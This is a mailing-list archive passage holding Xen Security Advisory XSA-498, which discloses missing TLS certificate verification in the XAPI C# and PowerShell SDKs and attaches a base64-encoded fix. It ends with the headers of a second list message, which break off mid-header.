Received: from list by lists.xenproject.org with outflank-mailman.1362230.1614132 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjbtE-0003LU-EM; Tue, 14 Jul 2026 12:05:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362230.1614132; Tue, 14 Jul 2026 12:05:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjbtE-0003LN-BW; Tue, 14 Jul 2026 12:05:32 +0000
Received: by outflank-mailman (input) for mailman id 1362230;
 Tue, 14 Jul 2026 12:05:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wjbtC-00032f-2S; Tue, 14 Jul 2026 12:05:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjbtA-00H7B6-TZ; Tue, 14 Jul 2026 14:05:28 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a562604-e002-0a2a0a5209dd-0a2a450ae336-24
 for <multiple-recipients>; Tue, 14 Jul 2026 14:05:28 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a562607-f2d2-0a2a450a0019-6882d725d2a2-3
 for <multiple-recipients>; Tue, 14 Jul 2026 14:05:28 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wjbt5-005zKb-0G;
 Tue, 14 Jul 2026 12:05:22 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wjbt4-001ipR-2I;
 Tue, 14 Jul 2026 12:05:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 498 v2 (CVE-2026-42491) - XAPI: Missing TLS
 verification in some SDKs
Message-Id: <E1wjbt4-001ipR-2I@xenbits.xenproject.org>
Date: Tue, 14 Jul 2026 12:05:22 +0000
X-purgate-ID: tlsNG-4011c0/1784030728-514C7F5C-E3E2B5CD/0/0
X-purgate-type: clean
X-purgate-size: 65343

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-42491 / XSA-498
                               version 2

              XAPI: Missing TLS verification in some SDKs

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

XAPI provides SDKs; bindings for the API in various programming
languages.  These are artefacts from a build of XAPI, intended for
integration into 3rd party products.

In all SDKs, there is a main RPC connection to the XAPI host.  TLS for
this connection is verified properly, or delegated to the 3rd party
logic, in all language bindings.

There are also certain HTTP handlers which open a separate connection to
the XAPI host.  For two of the language bindings only (C# and
Powershell), TLS verification is improperly implemented on these
connections.

IMPACT
======

A malicious actor able to perform a Man-in-the-Middle attack on the
network communication between a program using one of the affected SDKs
and a host running XAPI may be able to intercept the communication and:

 * Steal a session token, allowing for hijack of the administrative
   session, or
 * Read or tamper with exported/imported disk images, host backups, RRD
   (performance) data and patches/updates in transit.

VULNERABLE SYSTEMS
==================

This issues has been present in the XAPI C# and Powershell SDKs since
TLS support was added.

MITIGATION
==========

There are no known mitigations.

CREDITS
=======

This issue was discovered by the Veeam Team.

RESOLUTION
==========

Applying the attached patch to XAPI master will generate fixed SDKs.
3rd party programs using vulnerable SDKs must be rebuilt against the
fixed SDKs.

xsa498.patch           XAPI master

$ sha256sum xsa498*
f2db9e16561edc59b920e0ed95cce3a19147abc6eb2b8500bd73b87dc285d4ba  xsa498.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.


(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpWJfMMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZgYEH/jqpKmvSl2oVn5v8Wdk3KZfOxW67ejyA5NpUyW1i
MOwFQyA7gCrxwDaHN62u0aabs4kJNErOzeuVPCtElIyQN+bpB/5lR6nxnxQaQM8K
Ddhtg6rFQfP121+XGYjtbUOr5fvDkLu290XExow5XWKNmk3P1B3HKImPtkmzGpN6
z9FceAqzGX9N7eCPw3waMGsy50/n8L9cLvkyjPHpfb5beTq0AVQFJVD38P8humk0
xY9r+Iq0aGCxyyEZkHJsDaQfuKo3OYGPVoEEB5YiXPS+1P72lRrwkSFL+qJqAPLn
pDAqAGx1wRYvM6zITDnqbwnBYQ7je3UNZlMVEJj2dHWDOLs=
=3Knk
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa498.patch"
Content-Disposition: attachment; filename="xsa498.patch"
Content-Transfer-Encoding: base64

RnJvbSA3MzY4MzQ2NmIyN2Q3NTMyNDU1ZjMwMjUyMzQ2NjEwOWEwM2U4NDMy
IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBLb25zdGFudGluYSBD
aHJlbW1vdSA8a29uc3RhbnRpbmEuY2hyZW1tb3VAY2l0cml4LmNvbT4KRGF0
ZTogRnJpLCAzIEp1bCAyMDI2IDE0OjU1OjI2ICswMTAwClN1YmplY3Q6IFtQ
QVRDSF0gQ29ycmVjdGVkIGNlcnRpZmljYXRlIHZhbGlkYXRpb24gZm9yIEhU
VFAgY2FsbHMKClRoaXMgaXMgWFNBLTQ5OCAvIENWRS0yMDI2LTQyNDkxLgoK
U2lnbmVkLW9mZi1ieTogS29uc3RhbnRpbmEgQ2hyZW1tb3UgPGtvbnN0YW50
aW5hLmNocmVtbW91QGNpdHJpeC5jb20+ClJldmlld2VkLWJ5OiBNb2hhbW1l
ZCBaYWhpZCA8bW9oYW1tZWQuemFoaWRAY2l0cml4LmNvbT4KCmRpZmYgLS1n
aXQgYS9vY2FtbC9zZGstZ2VuL2NzaGFycC9hdXRvZ2VuL3NyYy9IVFRQLmNz
IGIvb2NhbWwvc2RrLWdlbi9jc2hhcnAvYXV0b2dlbi9zcmMvSFRUUC5jcwpp
bmRleCBjOWIwN2ViYTkuLjQxNjA5MTAxYSAxMDA2NDQKLS0tIGEvb2NhbWwv
c2RrLWdlb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gdGltZW91
dE1zKQ0KICAgICAgICAgew0KICAgICAgICAgICAgIGlmIChwcm94eSBpcyBJ
TW9ja1dlYlByb3h5IG1vY2tQcm94eSkNCiAgICAgICAgICAgICAgICAgcmV0
dXJuIG1vY2tQcm94eS5HZXRTdHJlYW0odXJpKTsNCiANCi0gICAgICAgICAg
ICBTdHJlYW0gc3RyZWFtOw0KLSAgICAgICAgICAgIGJvb2wgdXNlUHJveHkg
PSBwcm94eSAhPSBudWxsICYmICFwcm94eS5Jc0J5cGFzc2VkKHVyaSk7DQot
DQotICAgICAgICAgICAgaWYgKHVzZVByb3h5KQ0KLSAgICAgICAgICAgIHsN
Ci0gICAgICAgICAgICAgICAgVXJpIHByb3h5VVJJID0gcHJveHkuR2V0UHJv
eHkodXJpKTsNCi0gICAgICAgICAgICAgICAgc3RyZWFtID0gQ29ubmVjdFNv
Y2tldChwcm94eVVSSSwgbm9kZWxheSwgdGltZW91dE1zKTsNCi0gICAgICAg
ICAgICB9DQotICAgICAgICAgICAgZWxzZQ0KLSAgICAgICAgICAgIHsNCi0g
ICAgICAgICAgICAgICAgc3RyZWFtID0gQ29ubmVjdFNvY2tldCh1cmksIG5v
ZGVsYXksIHRpbWVvdXRNcyk7DQotICAgICAgICAgICAgfQ0KKyAgICAgICAg
ICAgIFN0cmVhbSBzdHJlYW0gPSBudWxsOw0KIA0KICAgICAgICAgICAgIHRy
eQ0KICAgICAgICAgICAgIHsNCi0gICAgICAgICAgICAgICAgaWYgKHVzZVBy
b3h5KQ0KLSAgICAgICAgICAgICAgICB7DQotICAgICAgICAgICAgICAgICAg
ICBzdHJpbmcgbGluZSA9ICQiQ09OTkVDVCB7dXJpLkhvc3R9Ont1cmkuUG9y
dH0gSFRUUC8xLjAiOw0KLSAgICAgICAgICAgICAgICAgICAgV3JpdGVMaW5l
KGxpbmUsIHN0cmVhbSk7DQotICAgICAgICAgICAgICAgICAgICBXcml0ZUxp
bmUoc3RyZWFtKTsNCisgICAgICAgICAgICAgICAgc3R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cnRzV2l0aCgiUHJveHktQ29u
bmVjdGlvbjogQ2xvc2UiLCBTdHJpbmdDb21wYXJpc29uLkludmFyaWFudEN1
bHR1cmVJZ25vcmVDYXNlKSk7DQogICAgICAgICAgICAgaWYgKCFzdHJpbmcu
SXNOdWxsT3JFbXB0eShmaWVsZCkpDQogICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICBzdHJlYW0uQ2xvc2UoKTsNCi0gICAgICAgICAgICAgICAg
VXJpIHByb3h5VVJJID0gcHJveHkuR2V0UHJveHkodXJpKTsNCi0gICAgICAg
ICAgICAgICAgc3RyZWFtID0gQ29ubmVjdFNvY2tldChwcm94eVVSSSwgbm9k
ZWxheSwgdGltZW91dE1zKTsNCisgICAgICAgICAgICAgICAgc3RyZWFtID0g
Q29ubmVjdFNvY2tldChwcm94eVVyaSwgbm9kZWxheSwgdGltZW91dE1zKTsN
CiAgICAgICAgICAgICB9DQogDQogICAgICAgICAgICAgaWYgKHByb3h5LkNy
ZWRlbnRpYWxzID09IG51bGwpDQpAQCAtNjc1LDcgKzY1Miw4IEBAIG5hbWVz
cGFjZSBYZW5BUEkKIA0KICAgICAgICAgICAgIC8vIGhhbmRsZSBhdXRoZW50
aWNhdGlvbiBhdHRlbXB0IHJlc3BvbnNlDQogICAgICAgICAgICAgTGlzdDxz
dHJpbmc+IGF1dGhlbnRpY2F0ZWRSZXNwb25zZSA9IG5ldyBMaXN0PHN0cmlu
Zz4oKTsNCi0gICAgICAgICAgICBSZWFkSHR0cEhlYWRlcnMocmVmIHN0cmVh
bSwgcHJveHksIG5vZGVsYXksIHRpbWVvdXRNcywgYXV0aGVudGljYXRlZFJl
c3BvbnNlKTsNCisgICAgICAgICAgICBSZWFkSHR0cEhlYWRlcnMocmVmIHN0
cmVhbSwgcHJveHksIGNhbGxiYWNrLCBub2RlbGF5LCB0aW1lb3V0TXMsIGF1
dGhlbnRpY2F0ZWRSZXNwb25zZSk7DQorDQogICAgICAgICAgICAgaWYgKGF1
dGhlb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AgICAgICB9DQogICAgICAg
ICB9DQorDQorICAgICAgICBpbnRlcm5hbCBzdGF0aWMgYm9vbCBWZXJpZnlJ
bkFsbFN0b3JlcyhYNTA5Q2VydGlmaWNhdGUyIGNlcnRpZmljYXRlMikNCisg
ICAgICAgIHsNCisgICAgICAgICAgICB0cnkNCisgICAgICAgICAgICB7DQor
ICAgICAgICAgICAgICAgIFg1MDlDaGFpbiBjaGFpbiA9IG5ldyBYNTA5Q2hh
aW4odHJ1ZSk7DQorICAgICAgICAgICAgICAgIHJldHVybiBjaGFpbi5CdWls
ZChjZXJ0aWZpY2F0ZTIpIHx8IGNlcnRpZmljYXRlMi5WZXJpZnkoKTsNCisg
ICAgICAgICAgICB9DQorICAgICAgICAgICAgY2F0Y2ggKENyeXB0b2dyYXBo
aWNFeGNlcHRpb24pDQorICAgICAgICAgICAgew0KKyAgICAgICAgICAgICAg
ICByZXR1cm4gZmFsc2U7DQorICAgICAgICAgICAgfQ0KKyAgICAgICAgfQ0K
Kw0KKyAgICAgICAgaW50ZXJuYWwgc3RhdGljIHN0cmluZyBHZXRDZXJ0aWZp
Y2F0ZXNQYXRoKFBTQ21kbGV0IGNtZGxldCkNCisgICAgICAgIHsNCisgICAg
ICAgICAgICB2YXIgY2VydFBhdGhPYmplY3QgPSBjbWRsZXQuU2Vzc2lvblN0
YXRlLlBTVmFyaWFibGUuR2V0VmFsdWUoQ2VydGlmaWNhdGVzUGF0aFZhcmlh
YmxlKTsNCisNCisgICAgICAgICAgICByZXR1cm4gY2VydFBhdGhPYmplY3Qg
aXMgUFNPYmplY3QgcHNPYmplY3QNCisgICAgICAgICAgICAgICAgPyBwc09i
amVjdC5CYXNlT2JqZWN0IGFzIHN0cmluZw0KKyAgICAgICAgICAgICAgICA6
IGNlcnRQYXRoT2JqZWN0Py5Ub1N0cmluZygpID8/IHN0cmluZy5FbXB0eTsN
CisgICAgICAgIH0NCisNCisgICAgICAgIGludGVybmFsIHN0YXRpYyBEaWN0
aW9uYXJ5PH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xkQ29udGludWUoZXgu
TWVzc2FnZSwgZXguQ2FwdGlvbikpDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHsNCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZh
ciBjZXJ0UGF0aCA9IEdldENlcnRpZmljYXRlc1BhdGgoKTsNCi0gICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjZXJ0aWZpY2F0ZXMgPSBM
b2FkQ2VydGlmaWNhdGVzKGNlcnRQYXRoKTsNCisgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHZhciBjZXJ0UGF0aCA9IENvbW1vbkNtZGxldEZ1
bmN0aW9ucy5HZXRDZXJ0aWZpY2F0ZXNQYXRoKHRoaXMpOw0KKyAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGNlcnRpZmljYXRlcyA9IENv
bW1vbkNtZGxldEZ1bmN0aW9ucy5Mb2FkQ2VydGlmaWNhdGVzKGNlcnRQYXRo
KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnRpZmlj
YXRlc1tleC5Ib3N0bmFtZV0gPSBleC5GaW5nZXJwcmludDsNCi0gICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIFNhdmVDZXJ0aWZpY2F0ZXMoY2Vy
dFBhdGgsIGNlcnRpZmljYXRlcyk7DQorICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBDb21tb25DbWRsZXRGdW5jdGlvbnMuU2F2ZUNlcnRpZmlj
YXRlcyhjZXJ0UGF0aCwgY2VydGlmaWNhdGVzKTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGktLTsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB9DQpAQCAtMjc0LDE3MSArMjY4LDUzIEBAIG5hbWVzcGFjZSBD
aXRyaXguWGVuU2VydmVyLk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gLy8gY2F0Y2ggZXhjZXB0aW9uIGFuZCB3cml0ZSBp
dCB0byB0aGUgdGVybWluYWwgdGhlbiByZXR1cm4NCi0gICAgICAgICAgICAg
ICAgLy8gZG9uJ3QgdGhyb3cgaXQgYmVjYXVzZSB0aGlzIHdpbGwgYnJlYWsg
cGlwaW5nIGEgbGlzdCBpbnRvIHRoZSBjbWQgKHdvbid0IHJ1biByZXN0IG9m
IGxpc3QpDQotDQotICAgICAgICAgICAgICAgIFRocm93VGVybWluYXRpbmdF
cnJvcihuZXcgRXJyb3JSZWNvcmQoZSwgc3RyaW5nLkVtcHR5LCBFcnJvckNh
dGVnb3J5LkludmFsaWRPcGVyYXRpb24sIG51bGwpKTsNCisgICAgICAgICAg
ICAgICAgdHJ5DQorICAgICAgICAgICAgICAgIHsNCisgICAgICAgICAgICAg
ICAgICAgIGNhbGwuSW52b2tlKCk7DQorICAgICAgICAgICAgICAgIH0NCisg
ICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBlKQ0KKyAgICAgICAg
ICAgICAgICB7DQorICAgICAgICAgICAgICAgICAgICBpZiAoZSBpcyBDZXJ0
aWZpY2F0ZVZhbGlkYXRpb25FeGNlcHRpb24gZXgpDQorICAgICAgICAgICAg
ICAgICAgICB7DQorICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFNob3Vs
ZENvbnRpbnVlKGV4Lk1lc3NhZ2UsIGV4LkNhcHRpb24pKQ0KKyAgICAgICAg
ICAgICAgICAgICAgICAgIHsNCisgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgdmFyIGNlcnRQYXRoID0gQ29tbW9uQ21kbGV0RnVuY3Rpb25zLkdldENl
cnRpZmljYXRlc1BhdGgodGhpcyk7DQorICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZhciBjZXJ0aWZpY2F0ZXMgPSBDb21tb25DbWRsZXRGdW5jdGlv
bnMuTG9hZENlcnRpZmljYXRlcyhjZXJ0UGF0aCk7DQorICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGNlcnRpZmljYXRlc1tleC5Ib3N0bmFtZV0gPSBl
eC5GaW5nZXJwcmludDsNCisgICAgICAgICAgICAgICAgICAgICAgICAgICAg
Q29tbW9uQ21kbGV0RnVuY3Rpb25zLlNhdmVDZXJ0aWZpY2F0ZXMoY2VydFBh
dGgsIGNlcnRpZmljYXRlcyk7DQorICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGktLTsNCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGlu
dWU7DQorICAgICAgICAgICAgICAgICAgICAgICAgfQ0KKw0KKyAgICAgICAg
ICAgICAgICAgICAgICAgIFRocm93VGVybWluYXRpbmdFcnJvcihuZXcgRXJy
b3JSZWNvcmQoZXgsICIiLCBFcnJvckNhdGVnb3J5LkF1dGhlbnRpY2F0aW9u
RXJyb3IsIGV4Lkhvc3RuYW1lKQ0KKyAgICAgICAgICAgICAgICAgICAgICAg
IHsNCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgRXJyb3JEZXRhaWxz
ID0gbmV3IEVycm9yRGV0YWlscygkIkNlcnRpZmljYXRlIGZpbmdlcnByaW50
IHJlamVjdGVkLiAoe2V4LkZpbmdlcnByaW50fSAtIHtleC5Ib3N0bmFtZX0p
LiIpDQorICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQorICAgICAgICAg
ICAgICAgICAgICB9DQorDQorICAgICAgICAgICAgICAgICAgICAvLyBpZiB5
b3Ugd2FudCB0byB0cmFwIGVycm9ycyBlaXRoZXIgc2V0IGNvbW1hbmQtbGlu
ZSBzd2l0Y2ggIi1CZXN0RWZmb3J0Ig0KKyAgICAgICAgICAgICAgICAgICAg
Ly8gb3Igc2Vzc2lvbi1zdGF0ZSB2YXJpYWJsZSAiJEJlc3RFZmZvcnQiIHRv
ICIkdHJ1ZSINCisNCisgICAgICAgICAgICAgICAgICAgIGJvb2wgYmVzdEVm
Zm9ydCA9IChib29sKUdldFZhcmlhYmxlVmFsdWUoIkJ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ZmluZ2VycHJpbnRUb0NoZWNrID0gQ29tbW9uQ21k
bGV0RnVuY3Rpb25zLkZpbmdlcnByaW50UHJldHR5U3RyaW5nKGNlcnRpZmlj
YXRlLkdldENlcnRIYXNoU3RyaW5nKCkpOw0KKw0KKyAgICAgICAgICAgICAg
ICBsb2NrIChDZXJ0aWZpY2F0ZVZhbGlkYXRpb25Mb2NrKQ0KKyAgICAgICAg
ICAgICAgICB7DQorICAgICAgICAgICAgICAgICAgICB2YXIgY2VydFBhdGgg
PSBDb21tb25DbWRsZXRGdW5jdGlvbnMuR2V0Q2VydGlmaWNhdGVzUGF0aCh0
aGlzKTsNCisgICAgICAgICAgICAgICAgICAgIHZhciBjZXJ0aWZpY2F0ZXMg
PSBDb21tb25DbWRsZXRGdW5jdGlvbnMuTG9hZENlcnRpZmljYXRlcyhjZXJ0
UGF0aCk7DQorDQorICAgICAgICAgICAgICAgICAgICBpZiAoY2VydGlmaWNh
dGVzLlRyeUdldFZhbHVlKFhlbkhvc3QsIG91dCB2YXIgaG9zdEZpbmdlcnBy
aW50KSkNCisgICAgICAgICAgICAgICAgICAgIHsNCisgICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoZmluZ2VycHJpbnRUb0NoZWNrID09IGhvc3RGaW5n
ZXJwcmludCkNCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJu
IHRydWU7DQorDQorICAgICAgICAgICAgICAgICAgICAgICAgYm9vbCBpZ25v
cmVDaGFuZ2VkID0gTm9XYXJuQ2VydGlmaWNhdGVzIHx8IChib29sKUdldFZh
cmlhYmxlVmFsdWUoIk5vV2FybkNlcnRpZmljYXRlcyIsIGZhbHNlKTsNCisg
ICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlnbm9yZUNoYW5nZWQpDQor
ICAgICAgICAgICAgICAgICAgICAgICAgew0KKyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBpZiAoX2hpdG9uY2UpDQorICAgICAgICAgICAgICAgICAg
ICAgICAgICA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1bkFwaUNhbGwoKCkg
PT4gSFRUUF9hY3Rpb25zLnt7YWN0aW9uX25hbWV9fSh7eyNpc1B1dH19UHJv
Z3Jlc3NEZWxlZ2F0ZXt7L2lzUHV0fX17eyNpc0dldH19RGF0YUNvcGllZERl
bGVnYXRle3svaXNHZXR9fSwKLSAgICAgICAgICAgICAgICBDYW5jZWxsaW5n
RGVsZWdhdGUsIFRpbWVvdXRNcywgWGVuSG9zdCwgUHJveHksIFBhdGgsIFRh
c2tSZWYsCisgICAgICAgICAgICAgICAgQ2FuY2VsbGluZ0RlbGVnYXRlLCBU
aW1lb3V0TXMsIFhlbkhvc3QsIFByb3h5LCBDZXJ0aWZpY2F0ZVZhbGlkYXRp
b25DYWxsYmFjaywgUGF0aCwgVGFza1JlZiwKICAgICAgICAgICAgICAgICBz
ZXNzaW9uLm9wYXF1ZV9yZWZ7eyNhcmdzfX0sIHt7YXJnX25hbWV9fXt7L2Fy
Z3N9fSkpOwogICAgICAgICB9CiAK

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 14 12:31:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 12:31:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362338.1614158 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcHy-0000OM-RH; Tue, 14 Jul 2026 12:31:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362338.1614158; Tue, 14 Jul 2026 12:31:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjcHy-0000OF-OA; Tue, 14 Jul 2026 12:31:06 +0000
Received: by outflank-mailman (input) for mailman id 1362338;
 Tue, 14 Jul 2026 12:31:05 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wjcHw-0000O9-Hb
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:31:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjcHv-00GyAZ-Dh
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 14:31:03 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a562bf8-5cb7-0a2a0a5109dd-0a2a4508e0d4-32
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:31:03 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a562c05-f659-0a2a45080019-94a392178704-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 14:31:03 +0200
Received: from pps.filterd (m0367123.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66EBO0MT2439351
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:31:01 GMT
Received: from bn1pr04cu002.outbound.protection.outlook.com
 (mail-eastus2azon11010037.outbound.protection.outlook.com [52.101.56.37])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fd8qa54s9-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:31:00 +0000 (GMT)
Received: from CH2PR18CA0051.namprd18.prod.outlook.com (2603:10b6:610:55::31)
 by SA1PR16MB4729.namprd16.prod.outlook.com (2603:10b6:806:229::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.18; Tue, 14 Jul
 2026 12:30:56 +0000
Received: from DS2PEPF000061C4.namprd02.prod.outlook.com
 (2603:10b6:610:55:cafe::6e) by CH2PR18CA0051.outlook.office365.com
 (2603:10b6:610:55::31) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.20 via Frontend Transport; Tue,
 14 Jul 2026 12:30:51 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 DS2PEPF000061C4.mail.protection.outlook.com (10.167.23.71) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Tue, 14 Jul 2026 12:30:50 +0000
Received: from pps.filterd (m0426317.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66EBQtwo188417
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:30:50 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc4wqtxbh-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 08:30:49 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id jcHewK0NsipGjjcHfwQQHV; Tue, 14 Jul 2026 12:30:49 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-type:date:from:in-reply-to:message-id:mime-version
	:references:subject:to; s=ppford; bh=Me1P+D9/4IGJKkjELLl1ahTsPu9
